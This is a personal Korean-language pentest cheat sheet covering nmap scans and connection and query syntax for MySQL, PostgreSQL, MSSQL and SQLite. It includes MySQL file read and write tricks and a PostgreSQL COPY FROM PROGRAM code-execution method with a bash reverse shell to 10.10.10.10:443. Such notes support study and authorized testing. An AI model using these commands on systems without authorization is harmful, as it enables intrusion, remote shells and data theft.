• 공부하며 기록한 개인용 치트시트
  • 자주 헷갈리거나, 잊어버리는 내용 위주로 작성

Enumeration

Nmap

# tcp basic scan
nmap <IP> -p- --min-rate 1000 --max-retries 2 -Pn -n
 
# tcp detail scan
nmap <IP> -p <Port_List> -sCV -Pn -n
 
# udp basic scan
sudo nmap <IP> -p- --min-rate 1000 -sU
 
# udp detail scan
sudo nmap <IP> -p <Port_List> -sU -sCV
 
# script scan
nmap <IP> --script "http-vuln-*"

SQL

MySQL

Connect

mysql -u <UserName> -p'<Password>' -h <Target_IP> -P [Port] --skip-ssl-verify-server-cert [db_name]
mysql -u root -p'root' -h 10.10.10.10. -P 3306 --skip-ssl-verify-server-cert

Query Without interaction

mysql -u root -p'password' mysql_db -e "show databases;"

Read Local File

SELECT LOAD_FILE('/path/to/file');

Write to Local File

SELECT "example" INTO OUTFILE('C:\\path\\to\\file');

PostgreSQL

Connect

psql -h <Target_IP> -p <Target_Port> -U <UserName>
psql -h 10.10.10.10 -p 5432 -U postgres

Query

\l               => db 목록 확인
\c <db_name>     => db 연결
\dt              => 테이블 목록 확인
\! <Command>     => 로컬 쉘 커맨드 실행

Code Execution

  • pg_execute_server_program 권한을 보유한 경우, 현재 로그인한 계정의 권한으로 코드 실행이 가능하다.
  • PostgreSQL
# 권한 확인 
SELECT pg_has_role('<로그인_계정>', 'pg_execute_server_program', 'member');
 
# 테이블 생성
CREATE TABLE exploit (result text);
 
# 코드 실행
COPY exploit FROM PROGRAM 'id';
COPY exploit FROM PROGRAM '/bin/bash -c "/bin/bash -i >&/dev/tcp/10.10.10.10/443 0>&1"';
 
# 결과(output) 확인
SELECT * FROM exploit;

MSSQL

Connect

mssqlclient.py <UserName>:<Password>@<Target_IP> -windows-auth
  • -windwos-auth : Windows 계정 인증방식.
    • Windows 계정(도메인/로컬) 사용하여 로그인
    • Kerberos / NTLM 기반 인증
    • Pass-the-Hash가능
  • without -windows-auth : SQL 서버 인증방식.
    • DB 내부 계정 사용 (sa, db_admin 등..)

Syntax

# db 목록 조회
enum_db
 
# db 선택
use database_name;
 
# 현재 선택된 DB에서 테이블 목록 확인
SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_TYPE = 'BASE TABLE';
 
# 테이블 구조 확인 (MySQL의 describe와 유사)
EXEC sp_columns <Table_Name>;
 
# 링크 목록 조회
enum_links
 
# 링크 사용 (dns 매핑되어 있어야함)
use_link "SRV_NAME_HERE"

Sqlite3

sqlite3 dbfile.db
  • .db를 로컬로 다운로드 후 사용